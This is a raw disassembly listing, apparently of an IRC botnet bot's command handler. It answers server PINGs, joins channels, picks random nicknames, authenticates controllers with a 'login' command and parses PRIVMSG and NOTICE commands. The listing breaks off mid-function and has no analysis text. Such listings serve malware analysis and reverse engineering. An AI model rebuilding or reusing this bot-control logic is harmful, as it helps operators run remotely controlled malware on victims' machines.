		and	byte ptr [eax+1], 0
		and	byte ptr [eax+2], 0
		mov	[ecx], esi
		mov	ebx, [ebp+var_A8]
		mov	[ebp+edi+var_4BC], 1


loc_408B4E:				; CODE XREF: sub_408A18+10Aj
		dec	edx
		jns	short loc_408B17


loc_408B51:				; CODE XREF: sub_408A18+10Fj
					; sub_408A18+115j
		cmp	[ebp+var_449], 0
		jz	short loc_408B61
		mov	[ebp+var_8], 1


loc_408B61:				; CODE XREF: sub_408A18+140j
		cmp	[ebp+var_44E], 0
		jz	short loc_408B74
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], 1


loc_408B74:				; CODE XREF: sub_408A18+150j
		cmp	byte ptr [ebx],	0Ah
		jz	short loc_408BAE
		push	7Fh
		lea	eax, [ebp+var_B40]
		push	ebx
		push	eax
		call	sub_414670
		push	17h
		lea	eax, [ebx+1]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		call	sub_414670
		lea	eax, [ebp+var_F0]
		push	offset asc_427A38 ; "!"
		push	eax
		call	sub_415459
		add	esp, 20h


loc_408BAE:				; CODE XREF: sub_408A18+15Fj
		push	5
		mov	edi, ebx
		mov	esi, offset aPing ; "PING"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_408BFC
		push	[ebp+var_A4]
		mov	byte ptr [ebx+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	dword ptr [eax], 0
		jnz	loc_408C96


loc_408BE4:				; CODE XREF: sub_408A18+3D7j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_408BEF:				; CODE XREF: sub_408A18+6D3j
					; sub_408A18+936j ...
		push	[ebp+arg_4]
		call	sub_4056B0
		jmp	loc_40D39B
; ---------------------------------------------------------------------------


loc_408BFC:				; CODE XREF: sub_408A18+1A4j
		mov	edx, [ebp+var_A4]
		push	4
		pop	eax
		mov	edi, edx
		mov	esi, offset a001 ; "001"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40E6FD
		mov	edi, edx
		mov	esi, offset a005 ; "005"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40E6FD
		mov	edi, edx
		mov	esi, offset a302 ; "302"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jnz	short loc_408C5F
		push	offset a@	; "@"
		push	[ebp+var_9C]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408C96
		push	9Fh
		inc	eax
		push	eax
		push	[ebp+arg_1C]
		jmp	loc_408F04
; ---------------------------------------------------------------------------


loc_408C5F:				; CODE XREF: sub_408A18+220j
		mov	ecx, eax
		mov	edi, edx
		mov	esi, offset a433 ; "433"
		xor	eax, eax
		repe cmpsb
		jnz	short loc_408C9E
		push	eax
		push	dword_42BEDC
		push	dword_42BED8
		push	[ebp+arg_10]
		call	sub_40FD06
		push	[ebp+arg_10]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		add	esp, 1Ch


loc_408C96:				; CODE XREF: sub_408A18+DDj
					; sub_408A18+E9j ...
		xor	eax, eax


loc_408C98:				; CODE XREF: sub_408A18+52j
		inc	eax


loc_408C99:				; CODE XREF: sub_408A18+173Aj
					; sub_408A18+320Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408C9E:				; CODE XREF: sub_408A18+254j
		mov	edi, [ebp+arg_18]
		push	2
		pop	edx


loc_408CA4:				; CODE XREF: sub_408A18+2CDj
		lea	eax, [ebp+var_B40]
		mov	esi, edi


loc_408CAC:				; CODE XREF: sub_408A18+2B0j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_408CCE
		test	cl, cl
		jz	short loc_408CCA
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_408CCE
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_408CAC


loc_408CCA:				; CODE XREF: sub_408A18+29Ej
		xor	eax, eax
		jmp	short loc_408CD3
; ---------------------------------------------------------------------------


loc_408CCE:				; CODE XREF: sub_408A18+29Aj
					; sub_408A18+2A8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_408CD3:				; CODE XREF: sub_408A18+2B4j
		test	eax, eax
		jnz	short loc_408CDE
		mov	[ebp+var_1C], 1


loc_408CDE:				; CODE XREF: sub_408A18+2BDj
		add	edi, 80h
		dec	edx
		jnz	short loc_408CA4
		mov	edi, [ebp+var_A4]
		push	5
		mov	esi, offset aKick ; "KICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_408DF4
		mov	edi, [ebp+arg_18]
		push	2
		pop	ebx


loc_408D05:				; CODE XREF: sub_408A18+393j
		cmp	byte ptr [edi],	0
		jz	loc_408DA4
		push	7Fh
		lea	eax, [ebp+var_B40]
		push	edi
		push	eax
		call	sub_414670
		add	esp, 0Ch
		cmp	[ebp+var_9C], 0
		jz	short loc_408DA4
		mov	esi, [ebp+var_9C]
		lea	eax, [ebp+var_F0]


loc_408D35:				; CODE XREF: sub_408A18+339j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_408D57
		test	cl, cl
		jz	short loc_408D53
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_408D57
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_408D35


loc_408D53:				; CODE XREF: sub_408A18+327j
		xor	eax, eax
		jmp	short loc_408D5C
; ---------------------------------------------------------------------------


loc_408D57:				; CODE XREF: sub_408A18+323j
					; sub_408A18+331j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_408D5C:				; CODE XREF: sub_408A18+33Dj
		test	eax, eax
		jnz	short loc_408DA4
		and	[edi], al
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		add	esp, 20h


loc_408DA4:				; CODE XREF: sub_408A18+2F0j
					; sub_408A18+30Fj ...
		add	edi, 80h
		dec	ebx
		jnz	loc_408D05
		mov	esi, [ebp+var_9C]
		mov	eax, [ebp+arg_10]


loc_408DBA:				; CODE XREF: sub_408A18+3BEj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_408DDC
		test	cl, cl
		jz	short loc_408DD8
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_408DDC
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_408DBA


loc_408DD8:				; CODE XREF: sub_408A18+3ACj
		xor	eax, eax
		jmp	short loc_408DE1
; ---------------------------------------------------------------------------


loc_408DDC:				; CODE XREF: sub_408A18+3A8j
					; sub_408A18+3B6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_408DE1:				; CODE XREF: sub_408A18+3C2j
		test	eax, eax
		jnz	loc_408C96
		mov	eax, [ebp+arg_20]
		and	dword ptr [eax], 0
		jmp	loc_408BE4
; ---------------------------------------------------------------------------


loc_408DF4:				; CODE XREF: sub_408A18+2E1j
		mov	edi, [ebp+var_A4]
		push	5
		mov	esi, offset aNick ; "NICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_408FD4
		mov	eax, [ebp+var_A0]
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_18]
		inc	eax
		sub	[ebp+var_1C], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+var_20], 2


loc_408E27:				; CODE XREF: sub_408A18+4A0j
		lea	eax, [ebp+var_B40]
		mov	esi, ebx


loc_408E2F:				; CODE XREF: sub_408A18+433j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_408E51
		test	cl, cl
		jz	short loc_408E4D
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_408E51
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_408E2F


loc_408E4D:				; CODE XREF: sub_408A18+421j
		xor	eax, eax
		jmp	short loc_408E56
; ---------------------------------------------------------------------------


loc_408E51:				; CODE XREF: sub_408A18+41Dj
					; sub_408A18+42Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_408E56:				; CODE XREF: sub_408A18+437j
		test	eax, eax
		jnz	short loc_408EAF
		lea	eax, [ebp+var_B40]
		push	21h
		push	eax
		call	sub_415A90
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_408EAF
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		lea	ecx, [ebx+2]
		mov	byte ptr [ebx],	3Ah
		lea	esi, [eax+ecx]


loc_408E7F:				; CODE XREF: sub_408A18+46Fj
		mov	al, [edx]
		mov	[esi+edx], al
		inc	edx
		test	al, al
		jnz	short loc_408E7F
		mov	eax, edi
		mov	esi, edi


loc_408E8D:				; CODE XREF: sub_408A18+47Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_408E8D
		sub	eax, esi
		dec	ecx


loc_408E97:				; CODE XREF: sub_408A18+485j
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jnz	short loc_408E97
		mov	edi, ecx
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_408EAF:				; CODE XREF: sub_408A18+440j
					; sub_408A18+456j
		add	ebx, 80h
		dec	[ebp+var_20]
		jnz	loc_408E27
		cmp	[ebp+arg_0], 0
		jz	loc_408C96
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_F0]


loc_408ED1:				; CODE XREF: sub_408A18+4D5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_408EF3
		test	cl, cl
		jz	short loc_408EEF
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_408EF3
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_408ED1


loc_408EEF:				; CODE XREF: sub_408A18+4C3j
		xor	eax, eax
		jmp	short loc_408EF8
; ---------------------------------------------------------------------------


loc_408EF3:				; CODE XREF: sub_408A18+4BFj
					; sub_408A18+4CDj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_408EF8:				; CODE XREF: sub_408A18+4D9j
		test	eax, eax
		jnz	short loc_408F11
		push	0Fh
		push	[ebp+arg_0]
		push	[ebp+arg_10]


loc_408F04:				; CODE XREF: sub_408A18+242j
		call	sub_414670
		add	esp, 0Ch
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_408F11:				; CODE XREF: sub_408A18+4E2j
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_408F16:				; CODE XREF: sub_408A18+540j
		cmp	byte ptr [edx],	0
		jz	short loc_408F4E
		lea	eax, [ebp+var_B40]
		mov	esi, edx


loc_408F23:				; CODE XREF: sub_408A18+527j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_408F45
		test	cl, cl
		jz	short loc_408F41
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_408F45
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_408F23


loc_408F41:				; CODE XREF: sub_408A18+515j
		xor	eax, eax
		jmp	short loc_408F4A
; ---------------------------------------------------------------------------


loc_408F45:				; CODE XREF: sub_408A18+511j
					; sub_408A18+51Fj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_408F4A:				; CODE XREF: sub_408A18+52Bj
		test	eax, eax
		jz	short loc_408F5F


loc_408F4E:				; CODE XREF: sub_408A18+501j
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_408F16
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_408F5F:				; CODE XREF: sub_408A18+534j
		lea	eax, [ebp+var_B40]
		push	21h
		push	eax
		call	sub_415A90
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_408C96
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+1]


loc_408F7F:				; CODE XREF: sub_408A18+56Cj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jnz	short loc_408F7F
		sub	ecx, edx
		mov	edx, ebx
		lea	esi, [edx+1]


loc_408F8D:				; CODE XREF: sub_408A18+57Aj
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_408F8D
		sub	edx, esi
		add	edx, ecx
		cmp	edx, 7Eh
		ja	loc_408C96
		push	ebx
		push	[ebp+arg_0]
		shl	edi, 7
		add	edi, [ebp+arg_18]
		push	offset aSS_3	; ":%s%s"
		push	edi
		call	sub_4145E5
		push	0
		push	0
		lea	eax, [ebp+var_420]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 24h
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_408FD4:				; CODE XREF: sub_408A18+3EEj
		mov	edi, [ebp+var_A4]
		mov	ebx, offset aPart ; "PART"
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_408FFE
		mov	edi, [ebp+var_A4]
		push	5
		mov	esi, offset aQuit ; "QUIT"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40904E


loc_408FFE:				; CODE XREF: sub_408A18+5D0j
		mov	esi, [ebp+arg_18]
		xor	eax, eax
		mov	[ebp+var_10], esi


loc_409006:				; CODE XREF: sub_408A18+634j
		cmp	byte ptr [esi],	0
		jz	short loc_40903C
		mov	edi, [ebp+var_A8]


loc_409011:				; CODE XREF: sub_408A18+615j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_409033
		test	cl, cl
		jz	short loc_40902F
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_409033
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_409011


loc_40902F:				; CODE XREF: sub_408A18+603j
		xor	ecx, ecx
		jmp	short loc_409038
; ---------------------------------------------------------------------------


loc_409033:				; CODE XREF: sub_408A18+5FFj
					; sub_408A18+60Dj
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_409038:				; CODE XREF: sub_408A18+619j
		test	ecx, ecx
		jz	short loc_409091


loc_40903C:				; CODE XREF: sub_408A18+5F1j
		mov	esi, [ebp+var_10]
		inc	eax
		add	esi, 80h
		cmp	eax, 2
		mov	[ebp+var_10], esi
		jl	short loc_409006


loc_40904E:				; CODE XREF: sub_408A18+5E4j
		mov	edi, [ebp+var_A4]
		push	4
		mov	esi, offset a353 ; "353"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409112
		mov	esi, [ebp+var_98]
		mov	eax, [ebp+arg_8]


loc_40906F:				; CODE XREF: sub_408A18+673j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4090F0
		test	cl, cl
		jz	short loc_40908D
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4090F0
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40906F


loc_40908D:				; CODE XREF: sub_408A18+661j
		xor	eax, eax
		jmp	short loc_4090F5
; ---------------------------------------------------------------------------


loc_409091:				; CODE XREF: sub_408A18+622j
		mov	ecx, [ebp+arg_18]
		shl	eax, 7
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUserSLog_0 ; "[MAIN]: User:	%s logged out."
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		mov	edi, [ebp+var_A4]
		add	esp, 10h
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_408C96
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_A8]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_408BEF
; ---------------------------------------------------------------------------


loc_4090F0:				; CODE XREF: sub_408A18+65Dj
					; sub_408A18+66Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4090F5:				; CODE XREF: sub_408A18+677j
		test	eax, eax
		jnz	short loc_409102
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_409102:				; CODE XREF: sub_408A18+6DFj
		push	[ebp+var_98]
		push	offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
		jmp	loc_40E6F1
; ---------------------------------------------------------------------------


loc_409112:				; CODE XREF: sub_408A18+648j
		mov	edi, [ebp+var_A4]
		mov	eax, offset aPrivmsg ; "PRIVMSG"
		push	8
		xor	edx, edx
		mov	esi, eax
		pop	ecx
		repe cmpsb
		mov	edx, offset aNotice ; "NOTICE"
		jz	short loc_409162
		mov	edi, [ebp+var_A4]
		push	7
		mov	esi, edx
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_409162
		mov	edi, [ebp+var_A4]
		push	4
		mov	esi, offset dword_427964
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_40E538
		cmp	dword_42BEC8, ebx
		jz	loc_40E538


loc_409162:				; CODE XREF: sub_408A18+713j
					; sub_408A18+724j
		mov	edi, [ebp+var_A4]
		mov	ebx, [ebp+var_20]
		mov	esi, eax
		push	8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_409264
		mov	edi, [ebp+var_A4]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_409264
		mov	eax, [ebp+var_9C]
		inc	[ebp+var_98]
		mov	[ebp+var_20], 4
		mov	[ebp+var_A0], eax


loc_4091A8:				; CODE XREF: sub_408A18+90Aj
					; sub_408A18+949j ...
		mov	ebx, [ebp+var_20]
		shl	ebx, 2
		lea	eax, [ebp+ebx+var_A8]
		mov	ecx, [eax]
		lea	edx, [ecx+1]
		mov	[eax], edx
		mov	al, byte_42BED0
		cmp	[ecx], al
		mov	[ebp+var_28], edx
		jnz	loc_408C96
		push	6
		mov	edi, edx
		mov	esi, offset aLogin ; "login"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40E540
		push	2
		mov	edi, edx
		mov	esi, offset dword_427960
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40E540
		cmp	[ebp+var_1C], eax
		jnz	short loc_409211
		mov	edi, [ebp+var_A4]
		push	4
		mov	esi, offset dword_427964
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40E538


loc_409211:				; CODE XREF: sub_408A18+7DFj
		xor	eax, eax
		cmp	[ebp+arg_28], eax
		jnz	loc_40E538
		cmp	dword_42C2F8, eax
		mov	[ebp+var_10], eax
		jle	loc_409523
		mov	[ebp+var_1C], offset dword_47B378


loc_409232:				; CODE XREF: sub_408A18+994j
		mov	edi, [ebp+var_1C]
		mov	esi, edx


loc_409237:				; CODE XREF: sub_408A18+843j
		mov	cl, [edi]
		mov	al, cl
		cmp	cl, [esi]
		jnz	loc_409390
		test	al, al
		jz	short loc_40925D
		mov	cl, [edi+1]
		mov	al, cl
		cmp	cl, [esi+1]
		jnz	loc_409390
		inc	edi
		inc	edi
		inc	esi
		inc	esi
		test	al, al
		jnz	short loc_409237


loc_40925D:				; CODE XREF: sub_408A18+82Dj
		xor	eax, eax
		jmp	loc_409395
; ---------------------------------------------------------------------------


loc_409264:				; CODE XREF: sub_408A18+75Cj
					; sub_408A18+771j
		mov	edi, [ebp+var_A4]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40927C
		mov	[ebp+var_4], 1


loc_40927C:				; CODE XREF: sub_408A18+85Bj
		cmp	[ebp+var_A0], 0
		jz	loc_408C96
		push	offset dword_42795C
		push	[ebp+var_A0]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4092A5
		cmp	[ebp+var_4], 0
		jz	short loc_4092B1


loc_4092A5:				; CODE XREF: sub_408A18+885j
		lea	eax, [ebp+var_F0]
		mov	[ebp+var_A0], eax


loc_4092B1:				; CODE XREF: sub_408A18+88Bj
		cmp	[ebp+var_9C], 0
		jz	loc_408C96
		inc	[ebp+var_9C]
		jz	short loc_409300
		cmp	[ebp+arg_10], 0
		jz	short loc_409300
		lea	eax, [ebp+var_3BC]
		lea	edx, [eax+1]


loc_4092D5:				; CODE XREF: sub_408A18+8C2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4092D5
		sub	eax, edx
		push	eax
		push	[ebp+var_9C]
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415EE0
		add	esp, 0Ch
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		add	ebx, 4
		mov	[ebp+var_20], ebx


loc_409300:				; CODE XREF: sub_408A18+8ACj
					; sub_408A18+8B2j
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+eax+var_A8]
		test	edx, edx
		jz	loc_408C96
		push	0Ah
		mov	edi, edx
		mov	esi, offset dword_427950
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_4091A8
		mov	esi, [ebp+var_A0]
		mov	bl, [esi]
		cmp	bl, 23h
		jz	short loc_409353
		mov	ecx, dword_47BF08
		mov	ecx, off_42BFB4[ecx*4]
		cmp	byte ptr [ecx],	0
		jz	short loc_409353
		push	ecx
		push	esi
		push	offset dword_427934
		jmp	loc_408BEF
; ---------------------------------------------------------------------------


loc_409353:				; CODE XREF: sub_408A18+91Bj
					; sub_408A18+92Dj
		mov	edi, edx
		push	6
		mov	esi, offset dword_42792C
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_4091A8
		mov	eax, [ebp+eax+var_A4]
		test	eax, eax
		jz	loc_4091A8
		cmp	bl, 23h
		jz	loc_4091A8
		push	eax
		push	[ebp+var_A0]
		push	offset dword_427914
		jmp	loc_408BEF
; ---------------------------------------------------------------------------


loc_409390:				; CODE XREF: sub_408A18+825j
					; sub_408A18+837j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409395:				; CODE XREF: sub_408A18+847j
		test	eax, eax
		jz	short loc_4093B7
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		add	[ebp+var_1C], 0B8h
		cmp	eax, dword_42C2F8
		jl	loc_409232
		jmp	loc_409523
; ---------------------------------------------------------------------------


loc_4093B7:				; CODE XREF: sub_408A18+97Fj
		push	offset asc_425A50 ; " :"
		push	[ebp+arg_0]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408C96
		mov	esi, [ebp+var_10]
		mov	cl, byte_42BED0
		imul	esi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42BED0
		mov	[eax+3], cl
		push	9Fh
		lea	ecx, dword_47B390[esi]
		push	ecx
		add	eax, 4
		push	eax
		call	sub_414670
		lea	eax, dword_47B378[esi]
		lea	edi, [ebp+ebx+var_68]
		add	esp, 0Ch
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_1C], eax
		mov	esi, edi


loc_409417:				; CODE XREF: sub_408A18+AA3j
		push	[ebp+var_10]
		lea	eax, [ebp+var_C8]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_4150B0
		add	esp, 14h
		test	eax, eax
		jz	short loc_409480
		cmp	dword ptr [esi], 0
		jz	short loc_409485
		mov	eax, [ebp+var_1C]
		lea	edx, [eax+1]


loc_40944C:				; CODE XREF: sub_408A18+A39j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40944C
		sub	eax, edx
		add	[ebp+var_14], eax
		jz	short loc_4094B1
		push	dword ptr [esi-4]
		push	[ebp+var_14]
		call	sub_4150B0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4094B1
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40668C
		add	esp, 0Ch
		jmp	short loc_4094B1
; ---------------------------------------------------------------------------


loc_409480:				; CODE XREF: sub_408A18+A27j
		cmp	dword ptr [esi], 0
		jnz	short loc_4094B1


loc_409485:				; CODE XREF: sub_408A18+A2Cj
		push	2
		lea	eax, [ebp+var_C8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_414670
		and	[ebp+var_22], 0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40668C
		add	esp, 18h


loc_4094B1:				; CODE XREF: sub_408A18+A40j
					; sub_408A18+A51j ...
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	loc_409417
		mov	[ebp+var_10], 10h
		mov	esi, edi


loc_4094CA:				; CODE XREF: sub_408A18+AFFj
		push	[ebp+var_10]
		lea	eax, [ebp+var_C8]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_4150B0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40950D
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40950D
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40668C
		add	esp, 0Ch


loc_40950D:				; CODE XREF: sub_408A18+ADAj
					; sub_408A18+AE0j
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	short loc_4094CA
		mov	edx, [ebp+var_28]
		mov	[ebp+var_C], 1


loc_409523:				; CODE XREF: sub_408A18+80Dj
					; sub_408A18+99Aj
		mov	al, byte_42BED0
		cmp	[edx], al
		jz	short loc_409536
		cmp	[ebp+var_C], 0
		jz	loc_40970C


loc_409536:				; CODE XREF: sub_408A18+B12j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_40668C
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40668C
		push	[ebp+var_A0]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40668C
		push	0
		push	0
		lea	eax, [ebp+var_C8]
		push	2
		push	eax
		call	sub_40FD06
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_40668C
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40668C
		mov	esi, offset aChr ; "$chr("
		push	esi
		push	edi
		call	sub_4150B0
		add	esp, 14h
		jmp	loc_409690
; ---------------------------------------------------------------------------


loc_4095AD:				; CODE XREF: sub_408A18+C7Aj
		push	esi
		push	[ebp+arg_0]
		call	sub_4150B0
		mov	[ebp+var_28], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_414670
		lea	eax, [ebp+var_C8]
		push	offset asc_4278D4 ; ")"
		push	eax
		call	sub_415459
		add	esp, 1Ch
		cmp	[ebp+var_C8], 30h
		jl	short loc_4095F1
		cmp	[ebp+var_C8], 39h
		jle	short loc_409607


loc_4095F1:				; CODE XREF: sub_408A18+BCEj
		push	3
		lea	eax, [ebp+var_C8]
		push	offset a63	; "63"
		push	eax
		call	sub_414670
		add	esp, 0Ch


loc_409607:				; CODE XREF: sub_408A18+BD7j
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_414972
		test	eax, eax
		pop	ecx
		jle	short loc_40962A
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_414972
		pop	ecx
		mov	[ebp+var_24], al
		jmp	short loc_40963B
; ---------------------------------------------------------------------------


loc_40962A:				; CODE XREF: sub_408A18+BFEj
		call	sub_4147A1
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_24], dl


loc_40963B:				; CODE XREF: sub_408A18+C10j
		and	[ebp+var_23], 0
		lea	eax, [ebp+var_C8]
		lea	edx, [eax+1]


loc_409648:				; CODE XREF: sub_408A18+C35j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_409648
		sub	eax, edx
		mov	ecx, eax
		xor	eax, eax
		lea	edi, [ebp+var_C8]
		stosd
		stosd
		add	ecx, 6
		push	ecx
		push	[ebp+var_28]
		stosd
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_414670
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40668C
		push	esi
		push	[ebp+arg_0]
		call	sub_4150B0
		add	esp, 20h


loc_409690:				; CODE XREF: sub_408A18+B90j
		test	eax, eax
		jnz	loc_4095AD
		mov	esi, 1FFh
		push	esi
